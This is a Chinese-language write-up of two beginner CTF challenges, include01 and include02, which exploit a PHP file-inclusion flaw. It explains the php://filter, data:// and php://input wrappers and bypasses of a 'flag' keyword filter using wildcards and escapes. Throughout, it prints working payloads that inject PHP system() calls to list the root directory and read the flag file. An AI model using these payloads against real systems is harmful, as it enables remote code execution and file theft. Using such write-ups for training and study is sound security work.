青少年CTF-qsnctf-Web-include01include02(多种方法-知识点较多-建议收藏!)

news/2024/5/19 22:48:09 标签: 网络安全, web安全, ctf, linux, 前端, F12, 命令执行

PHP常见伪协议

php://filter是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

php://data协议是PHP中的一种特殊协议,可以在包含函数中被用来执行一些特殊的操作。它没有条件限制,但仅能用于在CTF(Capture The Flag)中读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

php://input是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容。它是一个只读流,可以获取POST请求数据的协议。当enctype="multipart/form-data"时, php://input是无效的。

include01

题目环境:
image.png

出题人:末心
题目难度:★
题目描述:你能否获取Flag呢,flag格式为:qsnctf{xxx}。

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
1.给了一个参数file
2.strpos函数用来查找flag在字符串中第一次出现的位置
3.!是取反就是相反的意思 如果存在flag关键字那么就会显示Hack!!!
那么简单来说就是我们的flag关键字被过滤了!
绕过方式也有很多种 这里就主要通过字符来绕过这个flag关键字过滤

filter伪协议

查看index.php的内容
并将其内容以base64编码形式显示出来

?file=php://filter/read=convert.base64-encode/resource=index.php
image.png
image.png

解码之后也就是题目的源码

查看flag的内容
并将其内容以base64编码显示出来
使用*号绕过flag关键字过滤 意为查看f开头的所有文件

?file=php://filter/read=convert.base64-encode/resource=f*
image.png

没有显示任何内容
显然filter协议是不适合这道题目的

data伪协议

第一种解法

使用data协议获取本地内容
phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用data伪协议获取本地内容
并且调用外部执行命令
system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?>
image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容
f*代表f开头的所有文件
因为根目录下只有flag这一个f开头的文件 所以查看的就是flag文件的内容咯

?file=data://text/plain,<?php system("cat /f*");?>
image.png

input伪协议

需要的工具
火狐浏览器
Max HacKBar插件

第一种解法

访问POST请求的原始内容
phpinfo()查看PHP的配置信息

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用input伪协议访问POST请求的原始内容
并且调用外部执行命令
system外部执行命令

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

列出根目录下的所有目录以及文件

<?php system("ls /");?>
image.png

 bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var  

在根目录下发现flag文件的存在

查看根目录下的flag文件内容
通过fl\ag绕过flag关键字过滤

GET请求数据不用管了

POST请求数据

<?php system("cat /fl\ag");?>
image.png

得到flag:
qsnctf{5f6cef0f-f83c-4b60-a0a8-e97c755ae457}

include02

题目环境:
image.png

出题人:末心
题目难度:★
题目描述:这道题修改了一些东西哦!你还能做出来吗,flag格式为:qsnctf{xxx}。

image.png

禁用了input伪协议

输入框随便输入值进入check.php界面

image.png

删除file参数查看check.php源代码

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "input") && !strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
相比include01 这道题目多增加了一个过滤 
过滤了input关键字 进而导致input伪协议不能使用

filter伪协议

查看flag的内容
并将其内容以base64编码形式显示出来
f???代替flag
意思是文件名f开头并且文件名是4位的文件

?file=php://filter/read=convert.base64-encode/resource=f???
image.png

filter伪协议依旧是不适用此题目

由于input关键字被过滤导致input伪协议不能使用
就直接使用data伪协议了

data伪协议

第一种解法

使用data伪协议获取本地内容
phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag

第二种解法

使用data协议获取本地内容
并且调用外部执行命令
system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?>
image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容
f???代替flag
意思是文件名f开头并且文件名是4位的文件

?file=data://text/plain,<?php system("cat /f???");?>
image.png

得到flag:
qsnctf{0ed8d987-ba51-490e-9775-e0974ccf0a06}



http://www.niftyadmin.cn/n/5283222.html

相关文章

HarmonyOS构建第一个JS应用(FA模型)

构建第一个JS应用&#xff08;FA模型&#xff09; 创建JS工程 若首次打开DevEco Studio&#xff0c;请点击Create Project创建工程。如果已经打开了一个工程&#xff0c;请在菜单栏选择File > New > Create Project来创建一个新工程。 选择Application应用开发&#xf…

行为型设计模式(四):中介模式 命令模式

中介模式 Mediator 1、什么是中介模式 中介模式用于减少对象之间的直接通信&#xff0c;让系统可以更加松耦合。定义了一个中介者对象&#xff0c;该对象封装了一系列对象的交互&#xff0c;使得对象之间不再直接相互引用&#xff0c;而是通用这个中介者对象进行通信。 2、为…

PHP初学习

PHP 基础知识 <?php #这是一个注释echo "<h1>hello world</h1>"; //字符串拼接$message"hello";$name"你好";$message."".$name;echo "<br>";//单引号与双引号的区别&#xff0c;单引号无法解析变量…

关于“Python”的核心知识点整理大全37

目录 13.6.2 响应外星人和飞船碰撞 game_stats.py settings.py alien_invasion.py game_functions.py ship.py 注意 13.6.3 有外星人到达屏幕底端 game_functions.py 13.6.4 游戏结束 game_stats.py game_functions.py 13.7 确定应运行游戏的哪些部分 alien_inva…

dotnet 的跨平台 UI 框架:WPF 的精神继承 | 开源日报 No.123

AvaloniaUI/Avalonia Stars: 20.7k License: MIT Avalonia 是 dotnet 的跨平台 UI 框架&#xff0c;提供灵活的样式系统&#xff0c;并支持 Windows、macOS、Linux、iOS、Android 和 WebAssembly 等多种平台。它被许多人认为是 WPF 的精神继承者&#xff0c;为 XAML 开发人员创…

每次maven刷新jdk都要重新设置

pom.xml <java.version>17</java.version> 改为<java.version>1.8</java.version>

Pytorch项目,肺癌检测项目之二

diameter_dict{} with open(/xunlian/annotations.csv &#xff0c;‘r’) as f: for row in list(csv.reader(f)[1:]): series_uid row[0] annotationCenter_xyz tuple([float(x) for x in row[1:4]]) annotationDiameter_mm float(row[4]) diameter_dict.setdefault(seri…

博客引擎 Hexo 入门介绍+安装笔记

Hexo Hexo is a fast, simple & powerful blog framework. 一直使用的是 jekyll&#xff0c;文章越写越多&#xff0c;不太好管理。是时候换个博客尝试一下。 Prepare blog zh_CN 本机为 MAC。不同系统会略有不同&#xff0c;但是大同小异。 Node.js 必须。 作用&…